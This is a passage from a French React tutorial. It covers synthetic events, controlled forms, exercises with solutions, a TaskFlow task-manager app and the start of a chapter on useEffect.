        task.title.toLowerCase().includes(searchQuery.toLowerCase())
      )
      .sort((a, b) => {
        if (sortBy === 'dueDate') return new Date(a.dueDate) - new Date(b.dueDate);
        if (sortBy === 'priority') return PRIORITY_ORDER[a.priority] - PRIORITY_ORDER[b.priority];
        return a.title.localeCompare(b.title);
      });

    // Note : filteredTasks est calculé à chaque render (pas de useState)
    // On utilisera useMemo() pour l'optimiser (Partie 11)
  }

GROUPER EN OBJET (pour state fortement liés) :
  // Formulaire : regrouper les champs
  const [formData, setFormData] = useState({
    title: '',
    description: '',
    priority: 'medium',
    assigneeId: null,
    dueDate: null,
    tags: [],
  });

  const [formErrors, setFormErrors] = useState({
    title: '',
    dueDate: '',
  });

  // Update d'un champ :
  const handleFieldChange = (field, value) => {
    setFormData(prev => ({ ...prev, [field]: value }));
    // Effacer l'erreur du champ modifié :
    if (formErrors[field]) {
      setFormErrors(prev => ({ ...prev, [field]: '' }));
    }
  };


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 13 : ÉVÉNEMENTS REACT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
13.1 — GESTION DES ÉVÉNEMENTS EN REACT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

React utilise un système d'événements SYNTHÉTIQUES. Ils wrappent les événements
natifs du DOM et offrent une interface cohérente entre les navigateurs.

SYNTAXE :
  // HTML (éviter en React) :
  <button onclick="handleClick()">

  // React (correct) :
  <button onClick={handleClick}>
  //       ^ camelCase  ^ référence à la fonction (pas d'appel !)

  // [X] MAUVAIS — exécute handleClick immédiatement au render :
  <button onClick={handleClick()}>

  // [OK] CORRECT — handleClick sera appelé au clic :
  <button onClick={handleClick}>

  // [OK] CORRECT — arrow function si on passe des arguments :
  <button onClick={() => handleDelete(task.id)}>

ÉVÉNEMENTS COURANTS EN REACT :
  onClick          -> Clic
  onDoubleClick    -> Double-clic
  onChange         -> Changement valeur (input, select, textarea)
  onInput          -> Input immédiat (similaire à onChange en React)
  onSubmit         -> Soumission formulaire
  onFocus          -> Focus sur l'élément
  onBlur           -> Perte du focus
  onKeyDown        -> Touche enfoncée
  onKeyUp          -> Touche relâchée
  onKeyPress       -> Déprécié, utiliser onKeyDown
  onMouseEnter     -> Souris entre (sans bubbling)
  onMouseLeave     -> Souris sort
  onMouseOver      -> Survol (avec bubbling)
  onScroll         -> Défilement
  onDragStart      -> Début drag
  onDrop           -> Drop
  onTouchStart     -> Touch (mobile)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
13.2 — L'OBJET ÉVÉNEMENT SYNTHÉTIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  function handleClick(event) {
    event.preventDefault();     // Empêcher comportement par défaut
    event.stopPropagation();    // Arrêter la propagation (bubbling)

    event.target                // L'élément cliqué
    event.currentTarget        // L'élément avec le handler
    event.type                 // 'click', 'change', 'submit'...

    // Pour les inputs :
    event.target.value         // Valeur actuelle
    event.target.checked       // Pour checkbox
    event.target.name          // Attribut name
    event.target.type          // 'text', 'checkbox', etc.

    // Pour les touches :
    event.key                  // 'Enter', 'Escape', 'ArrowUp'...
    event.code                 // 'Enter', 'KeyA'...
    event.altKey               // Boolean
    event.ctrlKey              // Boolean
    event.shiftKey             // Boolean
    event.metaKey              // Cmd (Mac) / Win
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
13.3 — PATTERNS D'ÉVÉNEMENTS COURANTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

BOUTON SIMPLE :
  function DeleteButton({ taskId, onDelete }) {
    const handleClick = () => {
      if (window.confirm('Supprimer cette tâche ?')) {
        onDelete(taskId);
      }
    };

    return (
      <button onClick={handleClick} className="btn btn-danger">
        Supprimer
      </button>
    );
  }

INPUT CONTRÔLÉ :
  // En React, on contrôle NOUS-MÊMES la valeur de l'input via state.
  // C'est un "controlled component".

  function SearchInput() {
    const [query, setQuery] = useState('');

    const handleChange = (e) => {
      setQuery(e.target.value);
    };

    const handleClear = () => {
      setQuery('');
    };

    return (
      <div className="search-input">
        <input
          type="search"
          value={query}          // <- Valeur contrôlée par React
          onChange={handleChange} // <- Mise à jour obligatoire
          placeholder="Rechercher..."
          aria-label="Rechercher des tâches"
        />
        {query && (
          <button onClick={handleClear} aria-label="Effacer la recherche">
            [X]
          </button>
        )}
      </div>
    );
  }

CHECKBOX :
  function TaskCheckbox({ task, onToggle }) {
    return (
      <label className="checkbox-label">
        <input
          type="checkbox"
          checked={task.status === 'done'}  // Contrôlé
          onChange={() => onToggle(task.id)}
        />
        <span className={task.status === 'done' ? 'line-through' : ''}>
          {task.title}
        </span>
      </label>
    );
  }

SELECT :
  function PrioritySelect({ value, onChange }) {
    return (
      <select
        value={value}
        onChange={e => onChange(e.target.value)}
        className="form-select"
      >
        <option value="">Toutes priorités</option>
        <option value="critical">[ROUGE] Critique</option>
        <option value="high">[ORANGE] Haute</option>
        <option value="medium">[JAUNE] Moyenne</option>
        <option value="low">[VERT] Basse</option>
      </select>
    );
  }

FORMULAIRE COMPLET :
  function TaskForm({ onSubmit, onCancel, initialData = {} }) {
    const [formData, setFormData] = useState({
      title:       initialData.title || '',
      description: initialData.description || '',
      priority:    initialData.priority || 'medium',
      dueDate:     initialData.dueDate || '',
    });

    const [errors, setErrors] = useState({});

    const handleChange = (e) => {
      const { name, value } = e.target;
      setFormData(prev => ({ ...prev, [name]: value }));
      // Effacer l'erreur au changement :
      if (errors[name]) {
        setErrors(prev => ({ ...prev, [name]: '' }));
      }
    };

    const validate = () => {
      const newErrors = {};
      if (!formData.title.trim()) {
        newErrors.title = 'Le titre est obligatoire';
      } else if (formData.title.trim().length < 3) {
        newErrors.title = 'Le titre doit faire au moins 3 caractères';
      }
      if (formData.dueDate && new Date(formData.dueDate) < new Date()) {
        newErrors.dueDate = "La date d'échéance ne peut pas être dans le passé";
      }
      return newErrors;
    };

    const handleSubmit = (e) => {
      e.preventDefault();  // Empêcher le rechargement de la page !

      const validationErrors = validate();
      if (Object.keys(validationErrors).length > 0) {
        setErrors(validationErrors);
        return;
      }

      onSubmit({
        ...formData,
        title: formData.title.trim(),
        id: initialData.id || Date.now(),
        status: initialData.status || 'todo',
        createdAt: initialData.createdAt || new Date(),
      });
    };

    return (
      <form onSubmit={handleSubmit} noValidate>
        <div className="form-group">
          <label htmlFor="task-title" className="form-label">
            Titre <span aria-hidden="true">*</span>
          </label>
          <input
            id="task-title"
            type="text"
            name="title"
            value={formData.title}
            onChange={handleChange}
            className={`form-input ${errors.title ? 'form-input--error' : ''}`}
            placeholder="Ex: Implémenter l'authentification"
            aria-invalid={!!errors.title}
            aria-describedby={errors.title ? 'title-error' : undefined}
            autoFocus
          />
          {errors.title && (
            <span id="title-error" className="form-error" role="alert">
              {errors.title}
            </span>
          )}
        </div>

        <div className="form-group">
          <label htmlFor="task-desc" className="form-label">Description</label>
          <textarea
            id="task-desc"
            name="description"
            value={formData.description}
            onChange={handleChange}
            className="form-input form-textarea"
            placeholder="Détails de la tâche..."
            rows={3}
          />
        </div>

        <div className="form-row">
          <div className="form-group">
            <label htmlFor="task-priority" className="form-label">Priorité</label>
            <select
              id="task-priority"
              name="priority"
              value={formData.priority}
              onChange={handleChange}
              className="form-input form-select"
            >
              <option value="low">[VERT] Basse</option>
              <option value="medium">[JAUNE] Moyenne</option>
              <option value="high">[ORANGE] Haute</option>
              <option value="critical">[ROUGE] Critique</option>
            </select>
          </div>

          <div className="form-group">
            <label htmlFor="task-due" className="form-label">Échéance</label>
            <input
              id="task-due"
              type="date"
              name="dueDate"
              value={formData.dueDate}
              onChange={handleChange}
              className={`form-input ${errors.dueDate ? 'form-input--error' : ''}`}
              min={new Date().toISOString().split('T')[0]}
            />
            {errors.dueDate && (
              <span className="form-error" role="alert">{errors.dueDate}</span>
            )}
          </div>
        </div>

        <div className="form-actions">
          <button type="button" className="btn btn-ghost" onClick={onCancel}>
            Annuler
          </button>
          <button type="submit" className="btn btn-primary">
            {initialData.id ? '[SAUVEGARDE] Mettre à jour' : '+ Créer la tâche'}
          </button>
        </div>
      </form>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
13.4 — ÉVÉNEMENTS CLAVIER
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  function SearchInput({ onSearch }) {
    const [query, setQuery] = useState('');

    const handleKeyDown = (e) => {
      if (e.key === 'Enter') {
        onSearch(query);
      }
      if (e.key === 'Escape') {
        setQuery('');
        onSearch('');
      }
    };

    return (
      <input
        value={query}
        onChange={e => setQuery(e.target.value)}
        onKeyDown={handleKeyDown}
        placeholder="Rechercher (Entrée pour valider)"
      />
    );
  }

  // Raccourcis globaux (Ctrl+K pour la recherche, etc.) :
  function useKeyboardShortcut(key, modifier, callback) {
    useEffect(() => {
      const handler = (e) => {
        const modOk = modifier === 'ctrl' ? e.ctrlKey : e.metaKey;
        if (modOk && e.key === key) {
          e.preventDefault();
          callback();
        }
      };
      document.addEventListener('keydown', handler);
      return () => document.removeEventListener('keydown', handler);
    }, [key, modifier, callback]);
  }

  // Utilisation :
  useKeyboardShortcut('k', 'ctrl', openSearch);  // Ctrl+K

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
13.5 — ERREURS FRÉQUENTES AVEC LES ÉVÉNEMENTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  [X] Appeler la fonction directement :
    <button onClick={deleteTask(id)}>   // Exécute au render !
  [OK] <button onClick={() => deleteTask(id)}>

  [X] Oublier e.preventDefault() sur les formulaires :
    const handleSubmit = () => { /* form reloads page */ };
  [OK] const handleSubmit = (e) => { e.preventDefault(); /* ... */ };

  [X] Modifier le state directement :
    const handleComplete = () => { task.status = 'done'; }  // Pas de re-render !
  [OK] const handleComplete = () => setTasks(prev => prev.map(...));

  [X] setState asynchrone mal compris :
    setCount(count + 1);
    setCount(count + 1);  // count toujours l'ancien ! -> résultat: +1 pas +2
  [OK] setCount(prev => prev + 1);
     setCount(prev => prev + 1);  // -> résultat: +2 [OK]


════════════════════════════════════════════════════════════════════════════════
EXERCICES PARTIE 3
════════════════════════════════════════════════════════════════════════════════

NIVEAU FACILE :

  EX-3.1 : Compteur avancé
  Créez un composant Counter avec :
    - Affichage du compteur
    - Boutons : +1, -1, Reset, +10, -10
    - Afficher en rouge si < 0, vert si > 0, noir si 0
    - Ne pas descendre en dessous de -100 ni monter au dessus de 100

  EX-3.2 : Toggle password
  Créez un composant PasswordInput :
    - Input de mot de passe
    - Bouton toggle [EYE] / [EYE][LEFT_SPEECH_BUBBLE] pour afficher/cacher le mot de passe
    - Indicateur de force (faible/moyen/fort) basé sur la longueur

  EX-3.3 : Tabs (onglets)
  Créez un composant Tabs avec 3 onglets : "Tous" / "En cours" / "Terminés".
  L'onglet actif est mis en surbrillance.
  Changer d'onglet ne fait qu'afficher un texte différent.

NIVEAU INTERMÉDIAIRE :

  EX-3.4 : CRUD tâches complet
  Créez une app mini TaskFlow avec :
    - Liste de tâches avec titre et statut
    - Formulaire pour ajouter une tâche (titre + priorité)
    - Bouton "Terminer" par tâche
    - Bouton "Supprimer" par tâche
    - Compteur du total et des tâches terminées

  EX-3.5 : Formulaire de connexion avec validation
  Page de login avec :
    - Champs email et mot de passe contrôlés
    - Validation : email valide, mdp min 8 chars
    - Messages d'erreur sous chaque champ
    - État de chargement sur le bouton (simulé avec setTimeout)
    - Message de succès après soumission

  EX-3.6 : Filtre et recherche
  Liste de tâches avec :
    - Input de recherche (filtre par titre)
    - Select de filtre par statut
    - Select de tri (alphabétique, priorité, date)
    - Compteur de résultats : "X tâche(s) trouvée(s)"

NIVEAU AVANCÉ :

  EX-3.7 : Modal réutilisable
  Composant Modal avec :
    - S'ouvre/ferme via state dans le parent
    - Fermeture : bouton [X], clic sur overlay, touche Échap
    - Accessibilité : focus trap, aria-modal, aria-labelledby
    - Animations d'ouverture/fermeture

  EX-3.8 : Formulaire de tâche complet
  TaskForm avec :
    - Titre, description, priorité, date d'échéance
    - Validation complète avec messages d'erreur
    - Tags (ajout/suppression dynamique)
    - Mode création ET édition (initialData prop)
    - Preview en temps réel du résultat

  EX-3.9 : Application TaskFlow interactive
  App complète avec :
    - Liste de tâches avec données initiales
    - CRUD complet (create, read, update, delete)
    - Filtres et recherche
    - Statistiques en temps réel
    - Modal pour création/édition
    - Confirmation avant suppression

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CORRIGÉS ESSENTIELS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ EX-3.4 — CRUD tâches :

  import { useState } from 'react';

  const INITIAL_TASKS = [
    { id: 1, title: 'Créer le wireframe', priority: 'high', status: 'done' },
    { id: 2, title: "Implémenter l'auth", priority: 'high', status: 'in_progress' },
    { id: 3, title: 'Tests unitaires',   priority: 'medium', status: 'todo' },
  ];

  function MiniTaskFlow() {
    const [tasks, setTasks] = useState(INITIAL_TASKS);
    const [newTitle, setNewTitle] = useState('');
    const [newPriority, setNewPriority] = useState('medium');

    const addTask = (e) => {
      e.preventDefault();
      if (!newTitle.trim()) return;
      const task = {
        id: Date.now(),
        title: newTitle.trim(),
        priority: newPriority,
        status: 'todo',
      };
      setTasks(prev => [task, ...prev]);
      setNewTitle('');
    };

    const completeTask = (id) => {
      setTasks(prev => prev.map(t =>
        t.id === id ? { ...t, status: t.status === 'done' ? 'todo' : 'done' } : t
      ));
    };

    const deleteTask = (id) => {
      setTasks(prev => prev.filter(t => t.id !== id));
    };

    const done = tasks.filter(t => t.status === 'done').length;

    return (
      <div className="mini-taskflow">
        <h1>TaskFlow Mini</h1>
        <p>{done}/{tasks.length} tâches terminées</p>

        {/* Formulaire ajout */}
        <form onSubmit={addTask} className="add-task-form">
          <input
            type="text"
            value={newTitle}
            onChange={e => setNewTitle(e.target.value)}
            placeholder="Nouvelle tâche..."
            required
          />
          <select value={newPriority} onChange={e => setNewPriority(e.target.value)}>
            <option value="low">Basse</option>
            <option value="medium">Moyenne</option>
            <option value="high">Haute</option>
          </select>
          <button type="submit">Ajouter</button>
        </form>

        {/* Liste */}
        <ul className="task-list">
          {tasks.length === 0 && (
            <li className="empty">Aucune tâche. Commencez par en créer une !</li>
          )}
          {tasks.map(task => (
            <li
              key={task.id}
              className={`task-item priority-${task.priority} ${task.status === 'done' ? 'done' : ''}`}
            >
              <span className="task-title">{task.title}</span>
              <span className={`badge priority-${task.priority}`}>{task.priority}</span>
              <div className="task-actions">
                <button onClick={() => completeTask(task.id)}>
                  {task.status === 'done' ? '<- Rouvrir' : '[OK] Terminer'}
                </button>
                <button onClick={() => deleteTask(task.id)} className="btn-danger">
                  [SUPPRIMER]
                </button>
              </div>
            </li>
          ))}
        </ul>
      </div>
    );
  }

  export default MiniTaskFlow;

CORRIGÉ EX-3.7 — Modal :

  import { useEffect, useRef } from 'react';

  function Modal({ isOpen, onClose, title, children }) {
    const modalRef = useRef(null);
    const closeBtnRef = useRef(null);

    // Fermeture au clavier Echap
    useEffect(() => {
      if (!isOpen) return;
      const handler = (e) => { if (e.key === 'Escape') onClose(); };
      document.addEventListener('keydown', handler);
      return () => document.removeEventListener('keydown', handler);
    }, [isOpen, onClose]);

    // Focus sur le bouton close quand le modal s'ouvre
    useEffect(() => {
      if (isOpen) closeBtnRef.current?.focus();
    }, [isOpen]);

    // Bloquer le scroll du body
    useEffect(() => {
      document.body.style.overflow = isOpen ? 'hidden' : '';
      return () => { document.body.style.overflow = ''; };
    }, [isOpen]);

    if (!isOpen) return null;

    const handleOverlayClick = (e) => {
      if (e.target === e.currentTarget) onClose();
    };

    return (
      <div
        className="modal-overlay"
        onClick={handleOverlayClick}
        role="dialog"
        aria-modal="true"
        aria-labelledby="modal-title"
      >
        <div className="modal-content" ref={modalRef}>
          <div className="modal-header">
            <h2 id="modal-title">{title}</h2>
            <button
              ref={closeBtnRef}
              className="modal-close"
              onClick={onClose}
              aria-label="Fermer le modal"
            >
              [X]
            </button>
          </div>
          <div className="modal-body">{children}</div>
        </div>
      </div>
    );
  }

  export default Modal;

  // Utilisation :
  function App() {
    const [isModalOpen, setIsModalOpen] = useState(false);

    return (
      <>
        <button onClick={() => setIsModalOpen(true)}>Ouvrir modal</button>
        <Modal
          isOpen={isModalOpen}
          onClose={() => setIsModalOpen(false)}
          title="Nouvelle tâche"
        >
          <TaskForm onSubmit={handleSubmit} onCancel={() => setIsModalOpen(false)} />
        </Modal>
      </>
    );
  }


════════════════════════════════════════════════════════════════════════════════
PROJET TASKFLOW V2 — APPLICATION INTERACTIVE COMPLÈTE
════════════════════════════════════════════════════════════════════════════════

  // src/App.jsx — Version interactive avec state complet

  import { useState } from 'react';
  import { MOCK_TASKS, MOCK_USER } from './data/mockData';

  // Constantes
  const PRIORITY_ORDER = { critical: 0, high: 1, medium: 2, low: 3 };
  const STATUS_LABELS = {
    all: 'Toutes',
    todo: 'À faire',
    in_progress: 'En cours',
    done: 'Terminées',
  };

  function App() {
    // === STATE ===
    const [tasks, setTasks]               = useState(MOCK_TASKS);
    const [filter, setFilter]             = useState('all');
    const [searchQuery, setSearchQuery]   = useState('');
    const [sortBy, setSortBy]             = useState('createdAt');
    const [isFormOpen, setIsFormOpen]     = useState(false);
    const [editingTask, setEditingTask]   = useState(null);
    const [isLoading, setIsLoading]       = useState(false);

    // === DONNÉES DÉRIVÉES ===
    const filteredTasks = tasks
      .filter(t => filter === 'all' || t.status === filter)
      .filter(t => t.title.toLowerCase().includes(searchQuery.toLowerCase()))
      .sort((a, b) => {
        if (sortBy === 'priority') return PRIORITY_ORDER[a.priority] - PRIORITY_ORDER[b.priority];
        if (sortBy === 'dueDate')  return new Date(a.dueDate) - new Date(b.dueDate);
        return new Date(b.createdAt) - new Date(a.createdAt);
      });

    const stats = {
      total:      tasks.length,
      done:       tasks.filter(t => t.status === 'done').length,
      inProgress: tasks.filter(t => t.status === 'in_progress').length,
      todo:       tasks.filter(t => t.status === 'todo').length,
    };

    // === HANDLERS ===
    const handleAddTask = (taskData) => {
      const newTask = {
        ...taskData,
        id:        Date.now(),
        status:    'todo',
        createdAt: new Date(),
        assignee:  MOCK_USER,
      };
      setTasks(prev => [newTask, ...prev]);
      setIsFormOpen(false);
    };

    const handleUpdateTask = (taskData) => {
      setTasks(prev => prev.map(t => t.id === taskData.id ? { ...t, ...taskData } : t));
      setEditingTask(null);
      setIsFormOpen(false);
    };

    const handleDeleteTask = (taskId) => {
      if (!window.confirm('Supprimer cette tâche définitivement ?')) return;
      setTasks(prev => prev.filter(t => t.id !== taskId));
    };

    const handleCompleteTask = (taskId) => {
      setTasks(prev => prev.map(t =>
        t.id === taskId
          ? { ...t, status: t.status === 'done' ? 'todo' : 'done' }
          : t
      ));
    };

    const handleEditTask = (task) => {
      setEditingTask(task);
      setIsFormOpen(true);
    };

    const handleSubmit = (taskData) => {
      if (editingTask) {
        handleUpdateTask(taskData);
      } else {
        handleAddTask(taskData);
      }
    };

    const handleCancelForm = () => {
      setIsFormOpen(false);
      setEditingTask(null);
    };

    // === RENDER ===
    return (
      <div className="app-layout">
        {/* Header */}
        <header className="app-header">
          <h1 className="app-logo">TaskFlow</h1>
          <nav className="app-nav">
            <button className="btn btn-primary" onClick={() => setIsFormOpen(true)}>
              + Nouvelle tâche
            </button>
          </nav>
        </header>

        <main className="app-main">
          {/* Stats */}
          <section className="stats-grid" aria-label="Statistiques">
            {[
              { label: 'Total',     value: stats.total,      icon: '[GRAPHIQUE]', color: 'default' },
              { label: 'Terminées', value: stats.done,       icon: '[OK]', color: 'success' },
              { label: 'En cours',  value: stats.inProgress, icon: '[RAPIDE]', color: 'info' },
              { label: 'À faire',   value: stats.todo,       icon: '[LISTE]', color: 'warning' },
            ].map(stat => (
              <div key={stat.label} className={`stat-card stat-card--${stat.color}`}>
                <span className="stat-icon" aria-hidden="true">{stat.icon}</span>
                <div>
                  <p className="stat-value">{stat.value}</p>
                  <p className="stat-label">{stat.label}</p>
                </div>
              </div>
            ))}
          </section>

          {/* Formulaire (inline si modal non implémenté) */}
          {isFormOpen && (
            <section className="form-section">
              <h2>{editingTask ? 'Modifier la tâche' : 'Nouvelle tâche'}</h2>
              <TaskForm
                initialData={editingTask}
                onSubmit={handleSubmit}
                onCancel={handleCancelForm}
              />
            </section>
          )}

          {/* Filtres et recherche */}
          <div className="tasks-controls">
            <input
              type="search"
              value={searchQuery}
              onChange={e => setSearchQuery(e.target.value)}
              placeholder="[RECHERCHE] Rechercher..."
              className="search-input"
              aria-label="Rechercher des tâches"
            />

            <div className="filter-tabs" role="tablist" aria-label="Filtrer par statut">
              {Object.entries(STATUS_LABELS).map(([value, label]) => (
                <button
                  key={value}
                  role="tab"
                  aria-selected={filter === value}
                  className={`filter-tab ${filter === value ? 'active' : ''}`}
                  onClick={() => setFilter(value)}
                >
                  {label}
                  {value !== 'all' && (
                    <span className="filter-count">
                      {tasks.filter(t => t.status === value).length}
                    </span>
                  )}
                </button>
              ))}
            </div>

            <select
              value={sortBy}
              onChange={e => setSortBy(e.target.value)}
              className="sort-select"
              aria-label="Trier par"
            >
              <option value="createdAt">Trier : Récent</option>
              <option value="priority">Trier : Priorité</option>
              <option value="dueDate">Trier : Échéance</option>
            </select>
          </div>

          {/* Résultats */}
          <p className="results-count" aria-live="polite">
            {filteredTasks.length} tâche(s) affichée(s)
            {searchQuery && ` pour "${searchQuery}"`}
          </p>

          {/* Liste */}
          {filteredTasks.length === 0 ? (
            <div className="empty-state">
              <p className="empty-icon">[EMAIL]</p>
              <p>Aucune tâche ne correspond à votre recherche.</p>
              {searchQuery && (
                <button onClick={() => setSearchQuery('')} className="btn btn-secondary">
                  Effacer la recherche
                </button>
              )}
            </div>
          ) : (
            <ul className="task-list" role="list">
              {filteredTasks.map((task, index) => (
                <li
                  key={task.id}
                  style={{ animationDelay: `${index * 30}ms` }}
                >
                  <TaskCard
                    task={task}
                    onComplete={handleCompleteTask}
                    onDelete={handleDeleteTask}
                    onEdit={handleEditTask}
                  />
                </li>
              ))}
            </ul>
          )}
        </main>
      </div>
    );
  }

  export default App;


════════════════════════════════════════════════════════════════════════════════
RÉSUMÉ PARTIE 3
════════════════════════════════════════════════════════════════════════════════

  [OK] Flux unidirectionnel : Parent -> Enfant (props), Enfant -> Parent (callbacks)
  [OK] State = mémoire du composant, déclenche un re-render quand il change
  [OK] useState : [value, setter] = useState(initial)
  [OK] Mise à jour fonctionnelle : setX(prev => ...) -> toujours recommandé
  [OK] JAMAIS muter le state directement -> créer de nouveaux objets/tableaux
  [OK] Données dérivées -> calculer depuis le state (pas un useState dédié)
  [OK] Événements React : syntaxe camelCase, objet synthétique
  [OK] Formulaires contrôlés : value + onChange -> React gère la valeur
  [OK] e.preventDefault() obligatoire sur onSubmit
  [OK] Règles des hooks : uniquement dans composants, au niveau top-level

PROCHAINE PARTIE : useEffect & Cycle de vie -> API calls, timers, abonnements
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FIN PARTIE 3 -> Continuer : react_master_part_4.txt
================================================================================

================================================================================
REACT MASTER GUIDE — PARTIE 4 : USEEFFECT, CYCLE DE VIE, HOOKS AVANCÉS
================================================================================
VERSION 1.0 | CHAPITRES 14–18 | PROJET : TaskFlow v3 avec API réelle
================================================================================

TABLE DES MATIÈRES
═══════════════════════════════════════════════════════════════════════════════
  CHAPITRE 14  ->  useEffect — Effets de bord
  CHAPITRE 15  ->  Cycle de vie des composants
  CHAPITRE 16  ->  Hooks avancés : useRef, useContext, useReducer
  CHAPITRE 17  ->  Custom Hooks — Réutiliser la logique
  CHAPITRE 18  ->  Composition avancée et patterns
  PROJET       ->  TaskFlow v3 — API REST + hooks custom
═══════════════════════════════════════════════════════════════════════════════


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 14 : USEEFFECT — EFFETS DE BORD
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
14.1 — QU'EST-CE QU'UN EFFET DE BORD ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les composants React sont des fonctions PURES : même entrée -> même sortie.
Mais les apps réelles ont besoin d'interactions avec le monde extérieur :
  • Appels API (fetch, axios)
  • Timers (setTimeout, setInterval)
  • Abonnements (WebSocket, EventSource)
  • Manipulation directe du DOM
  • localStorage / sessionStorage

Ces interactions sont des EFFETS DE BORD (side effects).
On ne peut pas les mettre dans le corps du composant (s'exécuterait à chaque render).
useEffect est le hook prévu pour ça.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
14.2 — SYNTAXE USEEFFECT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { useEffect } from 'react';

  useEffect(
    () => {
      // Code de l'effet (s'exécute après le render)

      return () => {
        // Fonction de CLEANUP (optionnelle)
        // S'exécute avant le prochain effet ou au démontage
      };
    },
    [dependencies]  // Tableau de dépendances
  );

LES 3 FORMES DE USEEFFECT :

  ① Sans dépendances -> Exécuté après CHAQUE render :
    useEffect(() => {
      document.title = `TaskFlow - ${tasks.length} tâches`;
    });
    // [ATTENTION] À éviter sauf cas très spécifiques

  ② Avec [] vide -> Exécuté UNE SEULE FOIS (montage) :
    useEffect(() => {
      fetchTasks();   // Charger les données au démarrage
    }, []);
    // Équivaut à componentDidMount des class components

  ③ Avec dépendances -> Exécuté quand les dépendances changent :
    useEffect(() => {
      fetchTasks({ filter, page });
    }, [filter, page]);
    // Re-exécuté quand filter OU page change

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
14.3 — CAS D'USAGE RÉELS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CAS 1 — APPEL API AU MONTAGE :

  function TasksPage() {
    const [tasks, setTasks]     = useState([]);
    const [isLoading, setIsLoading] = useState(true);
    const [error, setError]     = useState(null);

    useEffect(() => {
      let isCancelled = false;  // Éviter les updates si composant démonté

      const loadTasks = async () => {
        try {
          setIsLoading(true);
          setError(null);

          const response = await fetch('/api/tasks', {
            headers: {
              Authorization: `Bearer ${localStorage.getItem('token')}`,
            },
          });

          if (!response.ok) {
            throw new Error(`Erreur ${response.status}: ${response.statusText}`);
          }

          const data = await response.json();

          if (!isCancelled) {
            setTasks(data);
          }
        } catch (err) {
          if (!isCancelled) {
            setError(err.message);
          }
        } finally {
          if (!isCancelled) {
            setIsLoading(false);
          }
        }
      };

      loadTasks();

      return () => {
        isCancelled = true;  // CLEANUP : éviter memory leaks
      };
    }, []);  // [] = seulement au montage

    if (isLoading) return <Spinner />;
    if (error)     return <ErrorMessage message={error} onRetry={() => window.location.reload()} />;
    return <TaskList tasks={tasks} />;
  }

CAS 2 — RECHARGEMENT QUAND LES FILTRES CHANGENT :

  function TasksPage() {
    const [tasks, setTasks]   = useState([]);
    const [filter, setFilter] = useState('all');
    const [page, setPage]     = useState(1);
    const [isLoading, setIsLoading] = useState(false);

    useEffect(() => {
      const controller = new AbortController();  // Pour annuler la requête

      const loadTasks = async () => {
        setIsLoading(true);
        try {
          const params = new URLSearchParams({ page, limit: 20 });
          if (filter !== 'all') params.set('status', filter);

          const response = await fetch(`/api/tasks?${params}`, {
            signal: controller.signal,  // Annulation possible
          });

          if (!response.ok) throw new Error('Erreur API');

          const { tasks: data } = await response.json();
          setTasks(data);
        } catch (err) {
          if (err.name !== 'AbortError') {
            console.error('Erreur chargement:', err);
          }
        } finally {
          setIsLoading(false);
        }
      };

      loadTasks();

      return () => controller.abort();  // CLEANUP : annule la requête précédente
    }, [filter, page]);  // Re-exécuté si filter ou page change

    return (
      <div>
        <FilterBar value={filter} onChange={(f) => { setFilter(f); setPage(1); }} />
        {isLoading ? <Spinner /> : <TaskList tasks={tasks} />}
        <Pagination page={page} onPageChange={setPage} />
      </div>
    );
  }

CAS 3 — TIMER / SETINTERVAL :

  function LiveTimer() {
    const [time, setTime] = useState(new Date());

    useEffect(() => {
      const intervalId = setInterval(() => {
        setTime(new Date());
      }, 1000);

      // CLEANUP : très important ! Sans ça, memory leak !
